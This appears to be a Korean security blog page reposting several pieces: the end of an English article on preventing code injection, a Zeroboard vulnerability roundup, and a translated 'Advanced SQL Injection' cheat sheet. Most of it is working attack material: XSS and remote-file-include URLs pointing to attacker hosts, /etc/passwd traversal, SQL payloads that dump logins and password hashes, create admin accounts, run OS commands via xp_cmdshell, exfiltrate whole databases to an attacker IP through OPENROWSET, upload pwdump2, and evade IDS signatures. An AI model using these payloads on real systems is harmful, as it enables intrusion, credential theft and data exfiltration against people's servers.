In addition, it is often said that using stored procedures for SQL calls can help remove vulnerabilities to SQL injections. This approach is easy to take with many applications – Oracle databases allow the user to write stored procedures in Java, while Microsoft SQL Server 2005 allows stored procedures to be written in .NET languages like C#. While there are many good reasons to use stored procedures, they do not solve the problem of SQL injection on their own. Using stored procedures simply shifts the burden of the problem onto the stored procedures. The complicated languages that allow the writing of stored procedures also are open to programming mistakes – mistakes that can lead to code injection vulnerability. The bottom line is that the developer has the responsibility to ensure that the data that is being passed to a database is safe and secure, so more steps must be taken at this stage.

The only real way to defend against all malicious code injection attacks is to validate every input from every user. While establishing a list of “bad” input values that should be blocked (a blacklist) may seem like an appropriate first step, this approach is extremely limited. A finite list of problems simply gives hackers the opportunity to discover ways around your list. There is simply no way to make sure that you are covering every possibility with your blacklist, so you are still leaving the application vulnerable to malicious code injections.

The correct way to validate input is to start instead with a whitelist – a list of allowable options. For example, a whitelist may allow usernames that fit within specific parameters – only eight characters long with no punctuation or symbols, and so on. This can reduce the surface area of a malicious code injection attack by specifying the proper format for the input into the field. The application can then reject input that does not fit the established format. This approach (unlike a blacklist) can prevent not only known, current attacks but also unknown, future attacks.

To be completely thorough, a developer should set up both white- and blacklists in order to cover all bases. In this way, the whitelist can be used to block the majority of attacks, while the blacklist can cover specific edge cases not handled by the whitelist. To protect against SQL injection, a whitelist could allow only alphanumeric input, while a “backup” blacklist could specifically disallow common SQL verbs like SELECT and UPDATE.

Conclusion
Developers may already be aware of SQL injections, but they may not be considering other types of malicious code injection attacks when creating a web application. Many applications are therefore left vulnerable to attack. A good developer should familiarize him or herself with other types of code injection, including LDAP injection and XPath injection, as well as the best ways to stop these attacks. In this way, applications can be made more secure at the start of the development process, and data will be protected.

About the Author

Bryan Sullivan is a development manager at SPI Dynamics, a Web application security products company. Bryan manages the DevInspect and QAInspect Web security products, which help programmers maintain application security throughout the development and testing process. He has a bachelor’s degree in mathematics from Georgia Tech and 11 years of experience in the information technology industry. Bryan is currently coauthoring a book on Ajax security, which will be published in summer 2007.

No trackbacks, No comments.

웹 어플리케이션 보안 테스트 툴

해킹&보안/보안관련 | 2009/08/26 17:43

Security Test Tools for Web Applications

1. Web applications and their security problems

2. The Test Applications

3. Security Check Tools: Capabilities, Limitations, practical Tips

4. Free Tools

5. Watchfire AppScan Audit

6. SPI WebInspect

7. Acunetix Web Vulnerability Scanner

8. Tools not evaluated

9. Comparison Table for Commercial Tools

10. Useful Auxiliary Tools

11. Conclusion

12. Further Information

No trackbacks, No comments.

제로보드 취약점 총정리

해킹&보안/취약점 | 2009/08/26 17:42

출처 SecurityPlus

게시판만들때 참고하면 많은 도움 됩니다

==============================================================================

안녕하세요. SecurityPlus입니다.

본 자료는 국내 해커 및 보안 강사로 활동 중인 이경태님께서 제공해 주셨습니다.

그럼, 많은 활용 바랍니다.

안녕히 계세요.

제로보드 취약점 총정리

■ 크로스사이트 스크립팅 취약점(2005.02.19)
The following proof of concept examples are available:
http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E

http://www.example.com/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(no_no_no_document.cookie)%3C/script%3E

http://www.example.com/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%
3C/script%3E

http://www.example.com/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E

■ Print_Category.PHP 원격 File Include 취약점(2005.01.13)
http://www.example.com/[zeroboard]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/

■ DIR 파라미터 원격 File Include 취약점(2005.01.13)
The following proof of concept examples are available:
http://www.example.com/skin/zero_vote/error.php?dir=http://[ATTACKER]
http://www.example.com/skin/zero_vote/login.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/setup.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/ask_password.php?dir=http://[attacker]/

■ 다중 File Disclosure 취약점(2005.01.13)
http://www.example.com/_head.php?_zb_path=../../../../../etc/passwd%00
http://www.example.com/include/write.php?dir=../../../../../etc/passwd%00
http://www.example.com/outlogin.php?_zb_path=../../../../../etc/passwd%00

■ 다중원격 스크립트 삽입과 크로스사이트 스크립팅 취약점(2004.12.24)
http://www.example.com/outlogin.php?_zb_path=ftp://[attacker]/pub/
http://www.example.com/include/write.php?dir=http://[attacker]/
http://www.example.com/check_user_id.php?user_id=<script>alert(no_no_no_document.cookie)</sc
ript>

■ 악성 PHP 삽입(2002.06.14)
We checked the vulnerability with "http://BOARD_URL/_head.php?_zb_path=WANTED_TO_INCLUDE"
and
made a sample code, alib.php,

--------------------alib.php--------------
<? passthru("/bin/ls"); ?>
-----------------------------------------

and type the following URL to invoke this sample code.

TEST URL : http://BOARD_URL/_head.php?_zb_path=http://MYBOX/a"

-------out put----------------------------
_foot.php _head.php admin admin.php admin_sendmail_ok.php admin_setup.php apply_vote.php
check_user_id.php comment_ok.php config.php data del_comment.php del_comment_ok.php
delete.php delete_ok.php download.php error.php icon image_box.php images
include index.html install.php install1.php install2.php install2_ok.php install_ok.php
latest_skin lib.php license.txt list_all.php login.php login_check.php
logout.php lostid.php lostid_search.php member_join.php member_join_ok.php member_memo.php
member_memo2.php member_memo3.php member_modify.php member_modify_ok.php
member_out.php open_window.php outlogin.php outlogin_skin schema.sql script
select_list_all.php send_message.php setup.php skin style.css view.php view_info.php
view_info2.php view_preview.php vote.php write.php write_ok.php zboard.php
zipcode
Fatal error: Call to undefined function: dbconn() in /home/morris/public_html/tmp/bbs/_head.php
on line 41
-----------------------------------------

■ PHP Include File 명령실행 취약점(2002.01.15)
PHP Source file a.php
<? passthru("/bin/ls"); ?>

Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a

No trackbacks, No comments.

Advanced SQL Injection 한글판

해킹&보안/보안관련 | 2009/08/26 17:42

Advanced SQL Injection

Written by Osiris Thomas

1 개요

SQL은 Structured Query Language의 표준이며, 사용자에게 데이터 베이스를 접근 할 수 있게 해준다. 현재 대부분 SQL99가 SQL Language의 표준이다. SQL은 DB에 대한 Query를 실행 시킬 수 있고, DB로부터 수정/검색/삽입/삭제/업데이트 할 수 있다.

1.1 SQL Query

SQL Language에는 많은 다른 버전이 있지만, 거의 비슷한 키워드의 명령어를 지원한다.(예: SELECT,UPDATE,DELETE,INSERT,WHERE 등) 대부분의 SQL 데이터베이스 프로그램은 SQL 표준 외에 그들 자신만의 확장된 언어를 가지고 있다. 관계형 데이터베이스는 하나 또는 그 이상의 테이블을 포함하고, 각각의 이름을 가진다. 테이블은 레코드단위로 데이터를 가진다.

예) 아래의 테이블 명은 “user”이고 행과 열로서 데이터가 저장된다.

userID	Name	LastName	Login	Password
1	John	Smith	jsmith	hello
2	Adam	Taylor	adamt	qwerty
3	Daniel	Thompson	dthompson	dthompson

▪ 데이터 베이스로 SQL Query를 보내서, 결과 값을 되돌려 받을 수 있다. 위의 테이블을 이용해서 다음과 같은 Query를 사용 할 수 있다.

a) SELECT LastName FROM users WHERE UserID = 1;

b) 결과 값(레코드 셋)

LastName

Smith

1.2 DML & DLL

▪ Data Manipulation Language(데이터 조작어) : SELECT ,UPDATE ,INSERT INTO DELETE와 같이 데이터를 조작하는 언어를 뜻 한다.

▪ Data Definition Language(데이터 정의어) : 데이터 정의어로서 데이터베이스 테이블을 생성/삭제 하고, 인덱스(키)를 정의, 테이블 사이의 관계를 설정 하며, 데이터베이스 테이블 사이의 제약 조건을 설정한다.

예) CREATE TABLE, ALTER TABLE, DROP TABLE등과 같은 구문

1.3 Metabata

대부분의 SQL 데이터베이스들은 관계형 데이터베이스 기반이다. SQL Injection을 위한 중요한 사실은 관계형 데이터 베이스는 Codd의 12법칙 중에서 4법칙을 확실히 따르고 있다는 것이다. 제4법칙 : 메타데이터(데이터베이스에 관한 데이터)는 반드시 일반적인 데이터들처럼 데이터베이스에 저장 되어야 한다. 또한 데이터 베이스구조는 SQL Query문을 통해서 읽거나 수정 할 수 있다

1.4 웹 어플리케이션

데이터베이스 엔진에 삽입하는 SQL 명령들은 애플리케이션을 통해 이용 가능하다. 이것은 오늘날의 대부분의 공통적인 웹사이트의 취약점 중에 하나이다. 이것은 Web Application의 발전에 따른 것이고, DB나 Web Server의 문제가 아니다. 대부분의 프로그래머들은 여전히 이 문제를 인식하지 못한다. 많은 지침서와 데모 템플릿이 취약 하다. 심지어 인터넷에 게시된 많은 솔루션들도 좋지 못하다. 모의 해킹을 의뢰한 60%가 넘는 고객의 시스템이 SQL Injection에 취약하다는 결과를 내놓는다. 대부분의 SQL 데이터베이스들 그리고 프로그래밍 언어들은 잠재적으로 취약하다. DBMS는 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix 등이 이다.

애플리케이션을 통한 데이터베이스 접근 방법

▪ Perl and CGI scripts

▪ ASP, JSP, PHP

▪ XML, XSL and XSQL

▪ no_javascript

▪ VB, MFC, and other ODBC-based tools and APIs

▪ DB specific Web-based applications and API’s

▪ Reports and DB Applications

▪ 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)

1.5 일반적인 취약한 로그인 쿼리

SELECT * FROM users WHERE login = 'victor' AND password = '123'

1) ASP/MS SQL Server 로그인 문법

var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

a)문자를 통한 Injection

formusr = ' or 1=1 – –

formpwd = anything

b) 최종 쿼리 결과

SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything'

2) PHP/MySQL 로그인 문법

$sql = "SELECT * FROM clients WHERE account = $formacct AND pin = $formpin";

a) 숫자 입력 필드에 삽입

$formacct = 1 or 1=1 #

$formpin = 1111

b) 최종 쿼리 결과

SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

2 SQL Injection 테스트 방법론

1) 입력 값 검증

취약점은 어디든지 생길 수 있고, 아래의 사항을 모두 체크 해야 한다.

a) 웹 폼의 필드

b) URL 쿼리 스트링의 스크립트 파라미터 값

c) 쿠키 또는 히든 필드에 저장된 값

d) 아래의 문자열을 모든 입력 필드에 테스트해야 한다.

▪ 문자 : ' " ) # || + >

▪ SQL Query 명령을 공백(구분자)과 같이:

%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec)

▪ 지연 쿼리:' waitfor delay '0:0:10'--

2) 정보 수집

아래의 항목들을 알아내려고 시도해야 한다.

a) 출력 메커니즘 연구하기

1. 웹 애플리케이션의 쿼리 결과 값을 이용한다.

2. 에러 메시지 : 에러 메시지로부터 입력 값 검증을 유추 할 수 있다.

3. Blind SQL Injection : 시간의 지연 또는 에러 메시지를 사용하여 정보를 추출한다. Blind SQL Injection은 SQL Injection과 거의 비슷하지만, 많은 Query를 통해서 정보가 수집해야 되고, 또한 필드 값이나 테이블명과 같은 정보를 추측해야 하므로, 매우 느리고 더욱 어렵다.

■ 에러 메시지를 통해서 정보 추출 하기

i. 그룹 핑 에러

' group by columnnames having 1=1 - -

ii. 타입의 불일치

' union select 1,1,'text',1,1,1 - -

' union select 1,1, bigint,1,1,1 - -

iii. 더 좋은 방법으로, DB에서 하위 Query를 이용 한다.

' and 1 in (select 'text' ) - -

iv. 데이터를 CAST또는 CONVERT연산자를 이용한 에러메시지 도출도 필요하다.

■ Blind Injection

i. 출력 시 나오는 다른 출력 값을 이용

' and condition and '1'='1

ii. IF문을 사용

'; if condition waitfor delay '0:0:5' --

'; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;

iii. 추가적으로 우리는 모든 타입의 Query를 실행 할 수 있지만, 출력된 정보에 대해 디버깅할 수는 없다. 우리는 단지 yes/no 응답을 얻을 수 있다. 또한, 특정 필드의 데이터에 대한 ASCII값을 추출 할 수 있다. 매우 까다로운 작업이지만, SQueaL과 같은 자동화된 툴도 있다.

b) 쿼리의 이해

i. SELECT 명령문 - 대부분의 Injection은 SELECT 명령을 이용한다.

SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1 --

GROUP BY x HAVING x = y ORDER BY x

ii. UPDATE 명령문 – 아래와 같이 웹 애플리케이션에서 당신의 패스워드 부분을 수정 할 수 있다.

UPDATE users SET password = 'new password' WHERE login = logged.user
AND password = 'old password'

c) 데이터베이스 타입의 결정

대부분의 경우 에러 메시지는 어떤 DB엔진을 사용하는지 출력 한다. ODBC에러는 DB 타입 (드라이브 정보의 부분으로써)을 나타낸다. 만약에 ODBC 에러가 발생하지 않으면, 어떤 OS와 Web Sever를 사용하지를 추측해야 하거나 특별한 DB문자, 명령어, 저장된 프로시저를 통한 에러 메시지를 사용해야 한다.

▪ DBMS별 차이점 (1)

▪ DBMS별 차이점 (2)

d) 사용자의 권한 레벨을 알아 낸다.

i. 사용자의 권한 레벨을 알아 내기 위해서는 대부분의 SQL에서 구현되는 SQL99 내장된 아래와 같은 기능을 가지고 있다.

user or current_user

session_user

system_user

' and 1 in (select user ) --

'; if user ='dbo' waitfor delay '0:0:5 '--

' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );

ii. 기본 관리자 계정

sa, system, sys, dba, admin, root 등

iii. MS SQL 에서 dbo는 매핑 되어 있다. 사용자 dbo는 DB에서 모든 활동을 수행할 수 있는 권한을 가지고 있다. 서버의 고정된 규정에 의하면 Sysadmin의 DB를 사용하는 어떤 유저는 각 DB에서 dbo라고 불리는 특별한 사용자에게 매핑 되어 있다. 또한 sysadmin의 어떤 사용자에 의해 만들어진 객체는 자동적으로 dbo를 가진다.

e) OS interaction 레벨을 결정

3) 1=1 Attacks

데이터 베이스, 쿼리구조, 권한에 관한 정보를 알게 되면, 공격이 가능해 진다.

a) 테이블에 정의된 사용자를 열거하는 Query

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

b) DB에서 테이블 컬럼명을 열거하는 쿼리

▪ MS SQL

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ')

sp_columns tablename (this stored procedure can be used instead)

▪ MySQL

show columns from tablename

▪ Oracle

SELECT * FROM all_tab_columns WHERE table_name='tablename '

▪ DB2

SELECT * FROM syscat.columns WHERE tabname= 'tablename '

▪ Postgres

SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename '
AND pg_class.oid=attrelid AND attnum > 0

c) 모든 테이블과 컬럼명을 하나의 Query로 질의 하기

' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --

d) 서버에서 다른 데이터베이스 질의 하기

' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --

e) 데이터 베이스의 파일 위치 질의 하기

' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --

d) 각 DBMS별 시스템 테이블

MySQL

MS SQL Server

Oracle

MS Access

mysql.user

mysql.host

mysql.db

sysobjects

syscolumns

systypes

sysdatabases

SYS.USER_OBJECTS

SYS.TAB

SYS.USER_TEBLES

SYS.USER_VIEWS

SYS.ALL_TABLES

SYS.USER_TAB_COLUMNS

SYS.USER_CATALOG

MsysACEs

MsysObjects

MsysQueries

MsysRelationships

e) 사용자가 정의된 테이블에서 사용자이름과 패스워드 추출하기

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' '

from users where login>@var select @var as var into temp end --

' or 1 in (select var from temp) --

' ; drop table temp --

f) 데이터베이스에 계정 생성하기

▪ MS SQL

exec sp_addlogin ' victor ', 'Pass123'

exec sp_addsrvrolemember 'victor', 'sysadmin'

▪ MySQL

INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD(' Pass123'))

▪ Access

CREATE USER victor IDENTIFIED BY ' Pass123'

▪ Postgres (requires UNIX account)

CREATE USER victor WITH PASSWORD ' Pass123'

▪ Oracle

CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;

GRANT CONNECT TO victor;

GRANT RESOURCE TO victor;

g) MS SQL Server 해쉬값 추출하기

i. 간단한 방법

SELECT name, password FROM master..sysxlogins

ii. 패스워드 해쉬값 추출하기

SELECT password FROM master..sysxlogins

ii. 해쉬값이 2진수(binary)이므로 16진수(hex)로 변환한다.

begin @charvalue='0x', @i=1, @length=datalength(@binvalue),

@hexstring = '0123456789ABCDEF'

while (@i<=@length) BEGIN

declare @tempint int, @firstint int, @secondint int

select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1))
select @firstint=FLOOR(@tempint/16)
select @secondint=@tempint - (@firstint*16)
select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +

SUBSTRING (@hexstring, @secondint+1, 1)

select @i=@i+1 END

iii. 한번에 실행하는 명령어

'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end –

vi. 에러 메시지를 통해서 해쉬 값 추출하기

▪ ' and 1 in (select x from temp) --

▪ ' and 1 in (select substring (x, 256, 256) from temp) --

▪ ' and 1 in (select substring (x, 512, 256) from temp) --

▪ ' drop table temp --

v. 패스워드 무작위 대입

▪ SQL 패스워드 크랙 스크립트

create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0

drop table tempdb..passwords

vi. DB구조와 데이터 전송하기

만약에 네트워크 연결이 되어 있으면 80번 포트를 통해서 리버스 연결이 성립 할 수 있고, 모든 DB가 우리의 로컬 SQL 서버에 전송 할 수 있다. 데이터 베이스의 메타데이터 전송으로 로컬 SQL 서버에 동일한 DB구조를 생성 할 수 있다.

Step 1. 로컬 SQL서버에 Victim과 동일한 DB구조 생성

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases --

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')
select * from user_database.dbo.sysobjects --

'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_syscolumns')
select * from user_database.dbo.syscolumns --

step 2. 데이터를 DB 테이블을 아래의 방법을 통하여 쉽게 전송 할 수 있다.

'; insert into

OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table1')

select * from database..table1 --

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table2')

select * from database..table2 --

5) OS Interaction

OS Interaction에는 두 가지 방법이 있는데, 명령어를 읽기/실행 가능성은 DB엔진과 DB 설정에 달려있다. 두 가지 경우모두 권한이 DB 엔진 관리자에게 제한 되어있다. 만약 우리가 파일을 읽기/쓰기 가능하면, 우리는 패스워드와 설정 정보가 들어 있는 DB파일을 변경 할 수 있다. 또한 우리가 OS 명령어를 실행 할 수 있으면, 무엇이든지 할 수 있다.

a) MySQL OS Interaction

i. LOAD_FILE

' union select 1,load_file('/etc/passwd'),1,1,1;

ii. LOAD DATA INFILE

create table temp( line blob );

load data infile '/etc/passwd' into table temp;

select * from temp;

iii. SELECT INTO OUTFILE

b) MS SQL OS Interaction

'; exec master..xp_cmdshell 'ipconfig > test.txt' --

'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,256) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

▪ 웹 서버에서 DB에 접근 하는 구조

대부분의 경우 웹 서버와 DB서버는 같지 않고, DB서버는 Internet에 연결 되어 있지 않아도 애플리케이션 서버를 통해서 명령을 실행 할 수 있다.

▪ 네트워크 연결에 접근

i. 서버 이름을 에러 메시지로 출력하기

' and 1 in (select @@servername ) --

' and 1 in (select srvname from master..sysservers ) --

ii. Reverse lookups를 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'nslookup a.com MyIP' --

iii. Revers ping을 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'ping MyIP' --

iv. OPENROWSET

'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;',
'select * from table')

▪ 네트워크 예비 점검

i. 확장 프로시저 xp_cmdshell를 이용하여 아래의 명령을 실행

▪ Ipconfig /all

▪ Tracert myIP

▪ arp -a

▪ nbtstat -c

▪ netstat -ano

▪ route print

ii. 네트워크 예비 점검 전체 Query

▪ '; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --

▪ '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --

▪ '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

▪ ' and 1 in (select substring(x,1,255) from temp) --

▪ '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

6) OS 명령 프롬프트

i. OS로 점프하기

▪ Linux based MySQL

' union select 1, (load_file('/etc/passwd')),1,1,1;

▪ MS SQL Windows Password Creation

'; exec xp_cmdshell 'net user /add victor Pass123'--

'; exec xp_cmdshell 'net localgroup /add administrators victor' --

▪ Starting Services

'; exec master..xp_servicecontrol 'start','FTP Publishing' --

ii. ActiveX 자동 스크립트 이용

▪ Speech example

'; declare @o int, @var int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'x'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1
waitfor delay '00:00:03' --

iii. 레지스트리로부터 VNC 패스워드 찾기

▪'; declare @out binary(8)
exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password',
@value = @out output
select cast(@out as bigint) as x into TEMP--

▪' and 1 in (select cast(x as varchar) from temp) --

7) 확장된 효과

▪ 다른 DB서버에 연결 하기

i. MS SQL에 링크된 서버를 찾기

select * from sysservers

ii. OPENROWSET 명령을 사용하여 쉽게 다른 서버를 접근 할 수 있다.

iii. 같은 전략으로 OPENROWSET을 이용한 리버스 연결로 쉽게 접근 할 수 있다.

▪ 링크된 서버에도 접속이 가능하다.

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_sysservers')

select * from master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysservers')

select * from LinkedServer.master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysdatabases')

select * from LinkedServer.master.dbo.sysdatabases

▪ 저장된 프로시저를 통한 원격 접속 실행

만약에 원격 서버에 저장된 프로시저 실행이 허용되어 있다면 가능할 것이다.

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *

from mydatabase..hacked_sysservers')

exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from

mydatabase..hacked_sysdatabases')

exec Linked_Server.master.dbo.sp_executesql N'select * from

master.dbo.sysdatabases'

▪ Reverse 연결을 통한 파일 업로드

▪ '; create table AttackerTable (data text) --

▪ '; bulk insert AttackerTable --
from 'pwdump2.exe' with (codepage='RAW')

▪ '; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --

▪ '; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' --

▪ SQL Injection 통한 파일 업로드

만약 DB서버가 인터넷 연결이 되지 않더라도, 여전히 파일은 업로드 될 수 있다. 그러나 파일은 반드시 16진수 그리고 Query 문자의 일부로 보내어 져야만 한다. 파일은 반드시 각 4000 byte로 나누어 져야 한다.

예) 간단한 SQL Injection 파일 업로드

Step 1. 먼저 원격에서 hex를 binary로 변환 해줄 프로시저가 injection되어야 한다.

Step 2. 다음 binary를 hex 조각으로 Injection 해야 한다.

' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000…
← 8000개의 hex 문자(4000byte) →…0000000000000000000' exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin --

Step 3. binary를 연결시키고, 파일을 디스크에 저장 할 수 있다

3 회피 기술

3.1 개요.

입력 값 검증 우회 그리고 IDS 우회 기술은 매우 비슷하다. Snort 기반의 SQL Injection 탐지는 부분적으로 가능하다. 그러나 이것은 “sinatures”에 의존한다. ”signatures”은 쉽게 피할 수 있다. 입력 값 검증, IDS 탐지 그리고 견고한 DB, OS 설정은 반드시 같이 사용 되어져야 한다.

3.2 IDS “signature” 우회

1) ‘OR 1=1 “signature”우회하기

아래와 같은 문자를 삽입해서 우회 할 수 있다.

▪ ' OR 'unusual' = 'unusual'

▪ ' OR 'something' = 'some'+'thing'

▪ ' OR 'text' = N'text'

▪ ' OR 'something' like 'some%'

▪ ' OR 2 > 1

▪ ' OR 'text' > 't'

▪ ' OR 'whatever' IN ('whatever')

▪ ' OR 2 BETWEEN 1 AND 3

3.3 입력 값 검증 우회 하기

▪ PHP addslashes() 함수를 사용하는 사람은 문자열을 벗어 날수 있다.

single quote (')

double quote (")

backslash (\)

NUL (the NULL byte)

▪ 숫자 필드에서 위의 문자로 대체 함으로써 쉽게 우회 가능하다.

3.4 회피와 우회

i. 아래의 매개변수 인코딩 방법으로 IDS, 입력 값 검증을 우회 할 수 있다.

▪ URL encoding

▪ Unicode/UTF-8

▪ Hex enconding

▪ char() function

ii. MySQL 입력 값 검증은 Char()를 사용함으로써 우회 할 수 있다.

▪ 인용 부호를 제외한 Inject (string = "%"):

' or username like char(37);

▪ 인용 부호를 제외한 Inject (string = "root"):

' union select * from users where login = char(114,111,111,116);

▪ Load files을 이용한 unions 사용 (string = "/etc/passwd"):

' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

▪ 존재하는 파일을 체크(string = "n.ext"):

' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

iii. 공백을 이용한 IDS Sinature 우회

▪ UNION SELECT Signature와 UNION[탭]SELECT signature은 다르게 인식된다

▪ 탭, 캐리지 리턴, 라인 피드, 공백이 주로 이용 된다.

▪ 몇몇 IDS 는 공백처리를 무시하므로 공백을 생략하는 것이 좋은 방법이 될 수도 있다.

'OR'1'='1' (공백 없이) 은 에러 없이 처리 되어 진다.

iv. 주석 처리를 이용한 IDS Signature 회피

▪ /* … */ 은 SQL99에서 여러 줄 을 주석 처리 할 때 사용되는 기호 이다

▪ UNION/**/SELECT/**/

▪ '/**/OR/**/1/**/=/**/1

▪ 여러 개의 필드에 걸친 Injection을 허용한다

USERNAME: ' or 1/*

PASSWORD: */ =1 –

v. 스트링 연결자를 이용한 IDS Signature 우회

▪ 아래와 같이 텍스트 연결 할 수 있고, 특정한 DB 명령을 사용 할 수 있다.

▪ My SQL

UNI/**/ON SEL/**/ECT

▪ Oracle

'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'

▪ MS SQL

'; EXEC ('SEL' + 'ECT US' + 'ER')

vi. 변수를 이용하여 IDS, 입력 값 검증 우회 하기

▪ 변수를 이용

; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');

